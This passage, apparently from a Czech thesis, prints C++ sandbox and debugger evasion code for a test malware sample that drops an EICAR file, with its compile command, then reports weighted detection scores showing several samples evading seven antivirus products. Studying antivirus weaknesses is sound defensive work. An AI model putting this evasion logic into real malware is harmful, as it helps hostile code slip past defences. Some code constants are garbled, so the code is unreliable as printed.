DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;

DWORD RAMMB = memoryStatus.ullTotalPhys / / H

DWORD diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)
DiskGeometry.TracksPerCylinder * (ULONG) pDiskGeometry.SectorsPerTrack * (ULONG)
pDiskGeometry.BytesPerSector / / / H

return (numberOfProcessors < || RAMMB < || diskSizeGB < )

Tato funkce vraci true, pokud prostiedi, ve kterém byl bindrni soubor spustén ma méné

nez dve procesorova jadra, méné nez 2048 MB RAM paméti a disk mensi nez 58 GB.

Dale je implementovana hlavni sekce programu:

if (isDebugged() || isSandboxed()) {
auto startTime = std::chrono::steady_clock::now();
auto endTime = startTime + std::chrono::hours(l);

while (std::chrono::steady_clock::now() < endTime) {
std::this_thread::sleep_for(std::chrono::seconds(10));

}
}
else {
std: :ofstream f(filename);
f << eicar;
f.close();
std: :string message = "MLWR_" + mlwrID + " uspesne spustil payload";
std::string title = "MLWR_" + mlwrID;
MessageBoxA(NULL, message.c_str(), title.c_str(), MB_ICONINFORMATION);
}

V hlavni sekci ovétujeme, zda funkce isDebugged anebo isSandboxed vraci hodnotu

true.

V takovém piipadé byl bindrni soubor pravdépodobné spustén v nestandardnim
prostiedi, coz naznacuje pritomnost debuggeru nebo sandboxu. Proto spustime nekone¢nou
smycku trvajici jednu hodinu — tim zajistime, Ze proces bude v sandboxu ukon¢en samotnym
antivirem. Vzhledem k tomu, Ze béhem této doby nebude detekovano zadné podezielé

chovani, antivirus tento spustitelny soubor pravdépodobné neoznaci jako skodlivy.
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V opatném piipadé mizeme tzn. je bezpecné, pokracovat se spusténim Skodlivého

kodu.

Program zkompilujeme:

g++ ./mlwr_8.cpp -o ./output/mlwr_8.exe -mwindows -m64 -0Os -s -fvisibility=hidden \
-ffunction-sections -fdata-sections -W1l,--gc-sections -fstack-protector -fno-ident

V ptipadé spusténi se zobrazi zminéné popup okno, pokud nebyla detekovéana

pritomnost debuggeru anebo sandboxu:

MLWER_02 x

:l MUWE_02 uspesne spustil payload

Obrazek 20 Ptitomnost debuggeru anebo sandboxu nebyla zjisSténa
(zdroj: viastni | mlwr_8.exe)

V opacném piipadé program zistane spustén v hodinové smycce v sandboxu

(simulace, kdy jedna z funkci vratila hodnotu true):

Processes
4% 68% 1%
Name PID CPU Memaery Disk
milwr_8.exe 7256 0% 0.4 MB 0 MB/s

Obrazek 21 Ptitomnost debuggeru anebo sandboxu byla zjisténa

(zdroj: viastni | miwr_8.exe)
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4 EXPERIMENTALNI OVERENI DETEKCE MALWARE A
POROVNANI EFEKTIVITY DETEKCNICH MECHANISMU

V této kapitole je definovan a struc¢né popsan jednotny metodicky postup a metriky pro
analyzu detek¢nich schopnosti vybranych antivirovych programt. Kazdy antivirovy produkt
je testovan na identickych scénéfich kde dil¢i scénafe maji pfifazené vahy podle jejich
dualezitosti, z nichz se vypocitava vysledné skore detekce.

Pro kazdy testovany binarni soubor je zaroven vygenerovano VirusTotal Skore (VTS),
které bude slouzit jako referenéni ukazatel detekovatelnosti dané techniky a pomaha tak 1épe

identifikovat slaba mista antivirovych engint.

Nakonec je na zaklad¢ ziskanych vysledki vytvofena heatmapa, ktera vizudlné
znazoriiuje uspéSnost detekce jednotlivych technik napfic¢ testovanymi antivirovymi
programy. Tyto vysledky jsou nésledné interpretovany z pohledu detekénich omezeni a
slabin, které jednotliva antivirova feSeni vykazuji viici konkrétnim typiim technik, které se

snazi obejit detekci antivirovym enginem.

4.1 Metrika a metodicky postup p¥i analyze

Pied zacatkem samotné analyzy detekcnich enginli antivirovych programi je dileZzité
si nastavit pfesné¢ danou metodiku a metriku, kterd bude aplikovana na vSechny testované

detek¢ni enginy.

4.1.1 Metrika aplikovana pro jednotlivé testovaci scénar

Pro ti¢ely hodnoceni byly identifikovany ctyfi klicové scénéte, které¢ by mél spolehlive
zvladnout kazdy kvalitni antivirovy program. Kazdému scénafi byla pfifazena véha, jez
reflektuje vyznam uspé$né detekce daného typu hrozby. VySe vahy byla stanovena na
zéklad¢ dulezitosti reakce detekéniho enginu — ¢im vyssi véha, tim vetsi dliiraz na schopnost

scénar spravné identifikovat.
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Naésledujici tabulka uvadi ndzev scénafte, jeho struény popis a pfifazenou vahu.

Tabulka 8 Metrika a vahy jednotlivych testovacich scénaia

Scénai: | Popis scénare: Zkratka: | Vaha:

S1 Detekce pfi stahovani z internetu DWN 0.3

S2 Detekce pfi pfistupu k souboru bez spusténi (napf. ACC 0.1
otevieni slozky)

S3 Detekce pti spusténi vzorku (runtime detection) RUN 0.4

S4 Detekce pfi vynuceném skenu celého systému/souboru SCAN 0.2

(zdroj: vlastni)

Nasledné je pro kazdy testovany antivirovy engine vytvorena tabulka obsahujici

seznam testované¢ho malwaru a vysledky jednotlivych testovacich scénart.

Tabulka 9 Ilustracni ptiklad vysledki pro jeden z testovanych antivirovych programt

Testovany scénar:
Skore malwaru:
DWN: ACC: RUN: SCAN:
mlwr 1 v X v v 0.9
mlwr 2 v X X v 0.5
mlwr_8 v v v v 1
Celkové skore detekéniho enginu: 0.71

(zdroj: vlastni)

Vysledky jednotlivych scénéit jsou pak ohodnoceny nasledovné:

e Kde ,,v" znamend, ze byl testovany malware v tomto scénaii antivirovym
enginem detekovan a nasledné je ve vzorci vyjadien hodnotou 1 pro patiicny
scénar.

e Kde ,,X" znamena, ze nebyl testovany malware v tomto scénafi antivirovym

enginem detekovan a nasledné je ve vzorci vyjadien hodnotou 0O pro patficny

scénar.
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Skoére pro jednotlivy vzorek testovaného malwaru na konkrétnim antivirovém enginu

se vypocita nasledujicim zptisobem:
Scorey, = DWN * 0.3 + ACC * 0.1 + RUN * 0.4 + SCAN * 0.2 )
e kde Mn je testovany malware tedy napi: mlwr 1, mlwr 2 atd.

Celkové detekéni skore konkrétniho antivirového enginu se vypocitd podle

nasledujiciho vzorce:
Scoreyyn = (Scorey; + Scorey, + -+ Scorey,) /n 3)
e kde AVn je testovany antivirovy engine
e kde n je celkovy pocet testovanych vzorkti malware

Nakonec jsou v§echny testované vzorky analyzovany pomoci online sluzby VirusTotal,
ktera na zéklad¢é hodnoty VTS spolehlivé identifikuje techniky, s nimiz maji detekéni enginy

antivirovych programil nejvetsi problém.

Pocet pozitivnich detekci

VirusTotalScore (VTS) = Celkovy potet AV Fedent

4.1.2 Metodicky postup analyzy
Pro kazdy vzorek naprogramovan¢ho malware bude pouzZit nésledujici metodicky
postup:
1. Testovaci vzorek malware je naprogramovan, zkompilovan a nasledné je

otestovana jeho funk¢nost na VM malware development

2. Vzorek je poté publikovan na webovy server, ktery je dostupny z
VM _malware_development. Vzorek ma vzdy dvé verze: mlwr X clear.zip a

mlwr X protected.zip
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Obrazek 22 Diagram provedeni experimentalniho testovani vzorku malware

(zdroj: viastni | experiment_flow.drawio)

Z diagramu na obrazku 22 je pak patrny postup pfi testovani vzorku na cilovém

virtualnim stroji (VM), ktery obsahuje detek¢ni engine antivirového programu, ktery je

podroben analyze:

1.

Pted testem jednotlivého testovacitho malware je vytvofen snapshot VM

z vychoziho VM a ten je spustén

Testujeme scénatr S1 — DWN — Detekce pii stahovani
Testujeme scénai S2 — ACC — Detekce pii pristupu k souboru
Testujeme scénai S3 — RUN — Detekce pfi spusténi
Testujeme scénai S4 — SCAN — Detekce pii ruénim skenu

Zastavime VM
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7. Provadime rollback VM na vychozi verzi VM pied testem

Testovaci kroky scénare S1 — DWN — Detekce pri stahovani:

Cilem tohoto testovaciho scénafe je ovérit, zda AV zachyti potencidlné podeziely

soubor simulujici malware pii stahovani ze sit¢ ve formé nezaheslovaného .zip archivu.
1. Ve VM otevieme prohlize¢ a stdhneme testovaci malware miwr X clear.zip
2. Sledujeme indikatory detekce jako:
a. AV zablokuje stazeni?
b. Notifikace, popupy?
c. Zaznam v logu antiviru?
Vysledek testovaného scénaie hodnotime jako:

e V =detekovano pii stahovani

e X =nedetekovano

Testovaci kroky scénare S2 — ACC — Detekce pri pristupu k souboru:

Cilem tohoto testu je ovéfit, zda AV zachyti potencialné podeziely soubor simulujici

malware pfi rozbaleni ze zaheslovaného archivu nebo pii piistupu do slozky kde se nachézi.

1. Ve VM otevieme prohlize¢ a stdhneme testovaci malware

mlwr X protected.zip (heslo: dummyPasswdl)
2. Ru¢né rozbalime archiv pomoci hesla a soubor uloZime

3. Otevieme slozku, do které byl testovaci malware rozbalen ve Windows

prazkumnikovi (neklikdme na soubor)
4. Sledujeme indikatory detekce jako:
a. AV zablokuje stazeni?
b. Notifikace, popupy?
c. Zaznam v logu antiviru?

d. Zmizi soubor ihned po rozbaleni?
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Vysledek testovaného scénéie hodnotime jako:
e  =detekovano pfi pfistupu ¢i diive

e X =nedetekovano

Testovaci scénar S3 — RUN — Detekce pri spusténi:

Cilem toho testu je ovéfit, runtime detekci tim, ze se vzorek spusti pfimo ze

zaheslovaného archivu.

1. Ve VM otevieme prohlize¢ a stdhneme testovaci malware

mlwr X protected.zip (heslo: dummyPasswdl)
2. Soubor v archivu nerozbalujeme ale rovnou z archivu spoustime
3. Sledujeme indikétory detekce jako:
a. Blokuje antivirus spusténi ?
b. Upozornéni, popup, zastaveni procesu?
Vysledek testovaného scénare hodnotime jako:
e = detekovano pii spusténi ¢i diive

e X =nedetekovano

Testovaci scénar S4 — SCAN — Detekce pri ru¢nim skenu:

Cilem toho testu je ovétit, zda AV najde malware pfi manualnim skenovani, kdy je

soubor se Skodlivym kodem uloZzen na RAM disku.
1. Vytvotime RAM disk pomoci nastroje /mDisk toolkit
a. Velikost: 64 MB
b. Pismeno disku: R:|
c. Souborovy systém: NTFS

2. Ve VM otevieme prohlize¢ a stdhneme testovaci malware

mlwr X protected.zip (heslo: dummyPasswdl) ptimo na RAM disk R:\

3. Ru¢né rozbalime archiv pomoci hesla a soubor uloZzime na RAM disk R:|
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4. Sledujeme indikatory detekce jako:

a. Probéhne detekce?

b. Upozornéni, karanténa, popup, logy?

Vysledek testovaného scénare hodnotime jako:

e  =detekovano pii skenu ¢i diive

e X =nedetekovano

Tento experiment je proveden na vSech virtudlnich strojich pro vSechny testovaci

vzorky.

4.1.3 Ovéreni detekovatelnosti payload.exe na testovanych antivirech

Abychom teoreticky ovéfili uspéSnost implementovanych technik pouzitych k

obchazeni detek¢nich enginil, je nutné ovéfit, zda je soubor payload.exe detekovatelny

antivirovym enginem daného testovaného antivirového programu i bez pouziti téchto

technik. Testovaci soubor payload.exe bude umistén na webovy server na virtuadlnim stroji

VM malware_development odkud bude na cilovy pocita¢ staZzen a spustén.

Tabulka 10 Praktické overeni detekovatelnosti payload.exe

AV FeSeni: Detekovan: | Poznamka:

WinDefender v Detekovan pfi spusténi

BitDefender v Detekovan pfi spusténi

AVG v Detekovan pfi spusténi

Avast v Detekovan pfi spusténi

Eset v Detekovan pfi spusténi

McAfee v Detekovan pti vynuceném skenu

F-Secure v Antivirus zabranil zépisu Eicar souboru na disk
VirusTotal v* VTS = 66/69 = 0.95

(zdroj: viastni)
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*V ptipad¢ detekce na platformé VirusTotal byl pouzit soubor Eicar.com ato z davodu,

Ze signatura souboru payload.exe neni v databazi znamych signatur virovych hrozeb.
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4.2 Analyza detekcnich schopnosti jednotlivych antivirovych engini

V této kapitole je provedena analyza detekéni schopnosti jednotlivych antivirovych
enginll na vzorcich vyvinutého malware. Analyza striktné nésleduje metodicky postup a

ziskané vysledky jsou dle metriky zaznamenéany do korespondujici tabulky.

Vysledky provedené analyzy byly systematicky zaznamenany do ptehledné tabulky,
pficemz kazdy jednotlivy testovany vzorek malwaru je v tabulce uveden samostatné.
Zaznam byl vytvoten pouze v piipadech, kdy testovany antivirovy engine projevil jakykoli
indikator detekce — at’ uz slo o ptfimou identifikaci hrozby, upozornéni na podezielé chovani

nebo jiné znamky rozpoznani.

Naopak pro vzorky, u nichz zadny z danych antivirovych nastroji neprojevil zadny
indikator detekce, nebyla samostatna tabulka vytvarena. Vysledky téchto ptipadl byly
rovnou zahrnuty do souhrnné tabulky s celkové dosazenym skore, kterd slouzi k

vyhodnoceni celkové GspeSnosti detekce napti¢ v§emi analyzovanymi vzorky.

K piipadnym detekcim byly potfizeny dikazni materidly ve formé screenshott, které
zachycuji konkrétni reakci antivirového nastroje. Na tyto snimky je v tabulce uveden odkaz

vzdy u ptislusného scénéte, pficemz samotné obrazové ptilohy jsou dostupné v Ptiloze P II.
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4.2.1 Detekéni engine WinDefender (AV1)

K analyze detek¢niho enginu WinDefenderu byla pouzita verze 1.429.173.0, ktera

obsahuje:
e Antimalware client verze: 4.18.25040.2
e Engine verze: 1.125040.1

e Antispyware verze: 1.429.173.0

Indikatory detekce zjisténé pri analvze WinDefenderu:

Hrozba nedetekovana pti exekuci vzorkt miwr_01 —mlwr_07. Navic vzorky miwr 01,
miwr_02, mlwr_05, mlwr 06 a mlwr 07 byly schopny umistit soubor mlwr 0X eicar.com
do cilové slozky. Kromé testovaciho souboru Eicar se podafilo i spustit payload ze
vzdaleného zdroje (mlwr_6) ¢i ulozit a spustit zaSifrovany payload (m/wr_7). WinDefender
byl schopny identifikovat Eicar soubor pouze pfi vynuceném skenu anebo pii piistupu

k vlastnostem souboru viz obrazek 1 v ptiloze P II.

Tabulka 11 Indikéatory detekce mlwr 8 | WinDefender

Zjisténé indikatory detekce pro mlwr_8 | WinDefender

Scénai: | Popis: Detekce: | Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pfi spusténi v 1

viz obrazek 2 v ptiloze P 11

SCAN Bez indikatoru detekce X 0

(zdroj: viastni)
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Celkové dosazené skore detekce pri analvze WinDefenderu:

Tabulka 12 Dosazené skore detekéniho enginu WinDefender

Testovany scénar:

DWN: ACC: RUN: SCAN- Skore malwaru:
mlwr 1 X X X X ;
mlwr 2 X X X X 1
mlwr 3 X X X X 5
mlwr 4 X X X X 5
mlwr 5 X X X X 5
mlwr 6 X X X X 5
mlwr 7 X X X X 5
mlwr 8 X X v X ¥
Celkové skore detekéniho enginu: 0.05

(zdroj: vlastni)

Celkové detekeni skore antivirového enginu WinDefenderu vypocitané podle vzorce
A3):

Scoreyyy, = (Scorey; + Scorey, + -+ Scorey,) /n

je tedy: 0.05
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4.2.2 Detekéni engine BitDefender (AV2)

K analyze detekéniho enginu BitDefenderu byla pouzita verze BitDefender Total

Security 27.1.1.12.

Indikatory detekce zjisténé pri analyze BitDefenderu:

Tabulka 13 Indikatory detekce mlwr 1 | BitDefender

Zjisténé indikatory detekce pro mlwr_1 | BitDefender
Scénai: | Popis: Detekce: | Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pfi spusténi v 1
viz obrazek 3 v priloze P II
SCAN Hrozba detekovana v mlwr 1 clear.zip v 1
viz obrazek 4 v ptiloze P 11
(zdroj: vlastni)
Tabulka 14 Indikatory detekce mlwr 2 | BitDefender
Zjisténé indikatory detekce pro mlwr_2 | BitDefender
Scénai: | Popis: Detekce: | Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pfi spusténi v 1
viz obrazek 5 v ptiloze P 11
SCAN Hrozba detekovana v mlwr 2 clear.zip v 1
viz obrazek 6 v ptiloze P 11

(zdroj: vlastni)
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Tabulka 15 Indikatory detekce mlwr 5 | BitDefender

Zjisténé indikatory detekce pro mlwr_5 | BitDefender

Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pii spusténi v 1

viz obrazek 7 v ptiloze P 11

SCAN Hrozba detekovana v mlwr 5 _clear.zip v 1

viz obrazek 8 v ptiloze P 11

(zdroj: vlastni)

Tabulka 16 Indikatory detekce mlwr 6 | BitDefender

Zjisténé indikatory detekce pro mlwr_6 | BitDefender

Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovéna pti spusténi v 1

viz obrazek 9 v ptiloze P 11

SCAN Bez indikatoru detekce X 0

(zdroj: viastni)

Tabulka 17 Indikéatory detekce mlwr 7 | BitDefender

Zjisténé indikatory detekce pro mlwr_7 | BitDefender

Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pfi spusténi v 1

viz obrazek 10 v ptiloze P 11

SCAN Bez indikatoru detekce X 0

(zdroj: viastni)
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Tabulka 18 Indikatory detekce mlwr 8 | BitDefender

Zjisténé indikatory detekce pro mlwr_8 | BitDefender

Scénar: Popis: Detekce: Hodnoceni:

DWN Bez indikatoru detekce X 0

ACC Bez indikatoru detekce X 0

RUN Hrozba detekovana pii spusténi v 1
viz obrazek 11 v pftiloze P II

SCAN Bez indikatoru detekce X 0

(zdroj: vlastni)

Celkové dosazené skore detekce pii analvze BitDefenderu:

Tabulka 19 Celkové dosazené skore detekéniho enginu BitDefender

Testovany scénar:
DWN: ACC: RUN: SCAN: Skére malwaru:

mlwr 1 X X v; Y
mlwr 2 X X v; ; Y
mlwr 3 X X X X 5
mlwr 4 X X X X 5
mlwr 5 X X v 7 X
mlwr 6 X X Y X ¥
mlwr 7 X X v; X 0
mlwr 8 X X v X 0
Celkové skore detekéniho enginu: 0375

(zdroj: vlastni)

Celkove detekeni skore antivirového enginu BitDefenderu vypocitané podle vzorce (3):

Scoreyyn, = (Scorey, + Scorey, + -+ Scorey,) /n

je tedy: 0.375
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4.2.3 Detekcni engine AVG (AV3)

K analyze detekéniho enginu AVG byla pouzita verze AVG AntiVirus Free
25.4.10068a (build 25.4.10068.0), ktera obsahuje:

e Virus definition verze: 250524-2

Indikatory detekce zjisténé pri analvze AVG:

Tabulka 20 Indikatory detekce mlwr 1| AVG

Zjisténé indikatory detekce pro mlwr_1 | AVG

Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pii spusténi v 1

viz obrazek 12 v ptiloze P II

SCAN Bez indikatoru detekce X 0

(zdroj: vlastni)

Tabulka 21 Indikétory detekce mlwr 2 | AVG

Zjisténé indikatory detekce pro mlwr 2 | AVG

Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pfi spusténi v 1

viz obrazek 13 v ptiloze P 11

SCAN Bez indikatoru detekce X 0

(zdroj: viastni)
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Tabulka 22 Indikatory detekce mlwr 5| AVG
Zjisténé indikatory detekce pro mlwr 5| AVG
Scénai: | Popis: Detekce: | Hodnoceni:
DWN Hrozba detekovana pii stazeni mlwr 5 clear.zip v 1
viz obrazek 14 v ptiloze P 11
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pii spusténi v 1
viz obrazek 15 v ptiloze P II
SCAN Bez indikatoru detekce X 0
(zdroj: vlastni)
Tabulka 23 Indikatory detekce mlwr 6 | AVG
Zjisténé indikatory detekce pro mlwr_6 | AVG

Scénar: | Popis: Detekce: | Hodnoceni:
DWN Hrozba detekovéna pti stazeni v 1

mlwr_6_clear.zip

viz obrazek 16 v ptiloze P II
ACC Hrozba detekovana pii ptistupu v 1

viz obrazek 17 v ptiloze P II
RUN Hrozba detekovéna pii spusténi v 1

viz obrazek 18 v ptiloze P II
SCAN Hrozba detekovéna v mlwr 6 clear.zip v 1

viz obrazek 19 v ptiloze P II

(zdroj: vlastni)
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Tabulka 24 Indikatory detekce mlwr 7 | AVG
Zjisténé indikatory detekce pro mlwr_7 | AVG

Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pii spusténi v 1

viz obrazek 20 v ptiloze P II
SCAN Bez indikatoru detekce X 0

(zdroj: vlastni)
Tabulka 25 Indikétory detekce mlwr 8 | AVG
Zjisténé indikatory detekce pro mlwr 8 | AVG

Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pfi spusténi v 1

viz obrazek 21 v ptiloze P II
SCAN Bez indikatoru detekce X 0

(zdroj: vlastni)
Celkové dosaZené skore detekce pii analyze AVG:
Tabulka 26 Celkové dosazené skore detekéniho enginu AVG
Testovany scénar:

DWN: ACC: RUN: SCAN: Skore malwaru:
mlwr 1 X X v X 04
mlwr 2 X X v X 04
mlwr 3 X X X X 0
mlwr 4 X X X X 0
mlwr 5 v X v X 0.7
mlwr_6 v v v v 1
mlwr 7 X X v X 0.4
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mlwr 8 X X v 0.4
Celkové skore detekéniho enginu: 0.412

Celkové detekcni skore antivirového enginu AVG vypocitané podle vzorce (3):

Scoreuy, = (Scorey, + Scorey, + -+ Scorey,) /n

je tedy: 0.412

(zdroj: vlastni)
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4.2.4 Detekcni engine Avast (AV4)

K analyze detekéniho enginu Avast byla pouzita verze Avast Free Antivirus

25.4.10068a (build 25.4.10068.0), ktera obsahuje:

Indikatory detekce zjiSténé pii analyze Avastu:

Virus definition verze: 250524-2

Tabulka 27 Indikétory detekce mlwr 1 | Avast

Zjisténé indikatory detekce pro mlwr_1 | Avast

Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pii spusténi v 1
viz obrazek 22 v ptiloze P II
SCAN Bez indikatoru detekce X 0
(zdroj: vlastni)
Tabulka 28 Indikétory detekce mlwr 2 | Avast
Zjisténé indikatory detekce pro mlwr 2 | Avast
Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pfi spusténi v 1
viz obrazek 23 v ptiloze P 11
SCAN Bez indikatoru detekce X 0
(zdroj: viastni)
Tabulka 29 Indikéatory detekce mlwr 5 | Avast
Zjisténé indikatory detekce pro mlwr_5 | Avast
Scénai: | Popis: Detekce: | Hodnoceni:
DWN Hrozba detekovana pii stazeni v 1
mlwr 5 clear.zip
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viz obrazek 24 v ptiloze P 11
ACC Hrozba detekovana pii ptistupu X 0
RUN Hrozba detekovéna pii spusténi v 1
viz obrazek 25 v ptiloze P II
SCAN Bez indikatoru detekce X 0
(zdroj: vlastni)
Tabulka 30 Indikéatory detekce mlwr 6 | Avast
Zjisténé indikatory detekce pro mlwr_6 | Avast
Scénar: | Popis: Detekce: | Hodnoceni:
DWN Hrozba detekovéna pti stazeni v 1
mlwr_6_clear.zip
viz obrazek 26 v piiloze P 11
ACC Hrozba detekovana pfi ptistupu v 1
viz obrazek 27 v ptiloze P 11
RUN Hrozba detekovéna pii spusténi v 1
viz obrazek 28 v ptiloze P II
SCAN Hrozba detekovéna v mlwr 6 clear.zip v 1
viz obrazek 29 v piiloze P II
(zdroj: vlastni)
Tabulka 31 Indikéatory detekce mlwr 7 | Avast
Zjisténé indikatory detekce pro mlwr_7 | Avast
Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovéna pfi spusténi v 1
viz obrazek 30 v ptiloze P II
SCAN Bez indikatoru detekce X 0

(zdroj: viastni)
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Tabulka 32 Indikatory detekce mlwr 8 | Avast
Zjisténé indikatory detekce pro mlwr_8 | Avast

Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pii spusténi v 1

viz obrazek 31 v ptiloze P II
SCAN Bez indikatoru detekce X 0

(zdroj: vlastni)
Celkové dosazené skore detekce pri analyze Avastu:
Tabulka 33 Celkové dosazené skore detekéniho enginu Avast
Testovany scénar:

DWN: ACC: RUN: SCAN: Skére malwaru:
mlwr 1 X X v X 0.4
mlwr 2 X X v X 0.4
mlwr 3 X X X X 0
mlwr 4 X X X X 0
mlwr_5 v X v X 0.7
mlwr 6 v v v v 1
mlwr 7 X X v X 04
mlwr_8§ X X v X 04
Celkové skore detek¢éniho enginu: 0.412

(zdroj: viastni)

Celkové detek¢ni skore antivirového enginu Avast vypocitané podle vzorce (3):

Scoreyyn = (Scorey; + Scorey, + -+ Scorey,) /n

je tedy: 0.412
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4.2.5 Detekéni engine Eset (AVS)

K analyze detekéniho enginu Eset byla pouzita verze ESET NOD32 Antivirus
18.1.13.0, ktera obsahuje:

e Detection engine verze: 31252

Indikatory detekce zjisténé pri analvze Esetu:

Tabulka 34 Indikatory detekce mlwr 1 | ESET

Zjisténé indikatory detekce pro mlwr_1 | ESET

Scénar: | Popis: Detekce: | Hodnoceni:

DWN Hrozba detekovana pri stazeni v 1
mlwr_1_clear.zip

viz obrazek 32 v ptiloze P II

ACC Hrozba detekovana pii ptistupu v 1

viz obrazek 33 v ptiloze P II

RUN Hrozba detekovéna pii spusténi v 1

viz obrazek 34 v ptiloze P II

SCAN Hrozba detekovéna v mlwr 6 clear.zip v 1

viz obrazek 35 v ptiloze P II

(zdroj: vlastni)

Tabulka 35 Indikatory detekce mlwr 2 | ESET

Zjisténé indikatory detekce pro mlwr_2 | ESET

Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovéna pfi spusténi v 1

viz obrazek 36 v ptiloze P II

SCAN Bez indikatoru detekce X 0

(zdroj: viastni)
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Tabulka 36 Indikatory detekce mlwr 5 | ESET
Zjisténé indikatory detekce pro mlwr 5 | ESET
Scénar: | Popis: Detekce: | Hodnoceni:
DWN Hrozba detekovéna pii stazeni v 1
mlwr 5 clear.zip
viz obrazek 37 v ptiloze P 11
ACC Hrozba detekovana pfi ptistupu v 1
viz obrazek 38 v ptiloze P 11
RUN Hrozba detekovana pfi spusténi v 1
viz obrazek 39 v piiloze P 11
SCAN Hrozba detekovana v mlwr 5 clear.zip v 1
viz obrazek 40 v piiloze P 11
(zdroj: viastni)
Tabulka 37 Indikéatory detekce mlwr 6 | ESET
Zjisténé indikatory detekce pro mlwr_6 | ESET
Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pfi spusténi v 1
viz obrazek 41 v ptiloze P II
SCAN Bez indikatoru detekce X 0
(zdroj: viastni)
Tabulka 38 Indikatory detekce mlwr 7 | ESET
Zjisténé indikatory detekce pro mlwr_7 | ESET
Scénar: Popis: Detekce: Hodnoceni:
DWN Bez indikatoru detekce X 0
ACC Bez indikatoru detekce X 0
RUN Hrozba detekovana pfi spusténi v 1
viz obrazek 42 v ptiloze P 11
SCAN Bez indikatoru detekce X 0
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(zdroj: vlastni)

Tabulka 39 Indikatory detekce mlwr 8 | ESET

Zjisténé indikatory detekce pro mlwr_8 | ESET

Scénar: Popis: Detekce: Hodnoceni:

DWN Bez indikatoru detekce X 0

ACC Bez indikatoru detekce X 0

RUN Hrozba detekovana pii spusténi v 1
viz obrazek 43 v ptiloze P II

SCAN Bez indikatoru detekce X 0

(zdroj: vlastni)

Celkové dosazené skore detekce pri analyze Esetu:

Tabulka 40 Celkové dosazené skore detekéniho enginu Eset

Testovany scénar:

Skore malwaru:

DWN: ACC: RUN: SCAN:
mlwr 1 v v v v 1
mlwr 2 X X v X 04
mlwr 3 X X X X 0
mlwr 4 X X X X 0
mlwr 5 v v v v 1
mlwr_6 X X v X 04
mlwr 7 X X v X 04
mlwr_8§ X X v X 04
Celkové skore detek¢éniho enginu: 0.45

(zdroj: vlastni)

Celkove detekeni skore antivirového enginu Eset vypocitané podle vzorce (3):

Scoreyyn = (Scorey; + Scorey, + -+ Scorey,) /n

je tedy: 0.45
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4.2.6 Detekcni engine McAfee (AV6)

K analyze detek¢niho enginu McAfee byla pouzita verze McAfee Total Protection

1.29.162, ktera obsahuje:
[ ]
[

Antivirus verze: 1.129.177.0

Tracker Remover verze: 1.29 (Build 14)

Shredder verze: 1.29 (Build 12)

Indikatory detekce zjisténé pri analyvze McAfee:

Hrozba nedetekovana pii exekuci vzorkl miwr 01 — mlwr 08. VSechny vzorky
umistujici soubor Eicar (miwr_0X eicar.com) byly schopny umistit tento soubor do cilové
slozky a vSechny vzorky byly schopny spustit své payloady. McAfee byl schopny

identifikovat Eicar soubor pouze pfi vynuceném skenu souboru viz obrazek 44 v piiloze P

II.
Celkové dosaZené skore detekce pii analyze McAfee:
Tabulka 41 Celkové dosazené skore detekéniho enginu McAfee
Testovany scénar:
DWN: ACC: RUN: SCAN: Skore malwaru:

mlwr 1 X X X X 0
mlwr 2 X X X X 0
mlwr 3 X X X X 0
mlwr 4 X X X X 0
mlwr_5 X X X X 0
mlwr_6 X X X X 0
mlwr 7 X X X X 0
mlwr_8§ X X X X 0
Celkové skore detek¢éniho enginu: 0

(zdroj: viastni)
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Celkove detekeni skore antivirového enginu McAfee vypocitané podle vzorce (3):

Scoreyy, = (Scorey, + Scorey, + -+ Scorey,) /n

je tedy: 0
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4.2.7 Detekcni engine F-Secure (AV7)

K analyze detek¢niho enginu F-Secure byla pouzita verze F-Secure 25.4, kterad

obsahuje:

Core verze: 2.0.3.33

Detection verze: 8.3.70.92 (2025-05-14)
EPP verze: 1.0.2503.5246

ODS verze: 1.0.2502.2322

VDF verze: 8.20.53.236 (2025-05-20)

Indikatory detekce zjiSténé pii analyze F-Secure:

Hrozbé bylo zabranéno pii provadeéni scénaie RUN na vzorcich miwr 2, miwr 5,
mlwr_6 a mlwr_7 kdy vzorky nebyly schopny spustit payload, ktery umistuje soubor Eicar
do cilove slozky. Tato akce nebyla nijak notifikovana antivirem. Dalsi zajimavosti je, Ze
antivir povolil spusténi miwr_8, ktery byl schopen umistit soubor miwr 08 eicar.com do

cilové slozky bez detekce antivirem. Soubor Eicar antivir detekoval pouze pii pfistupu

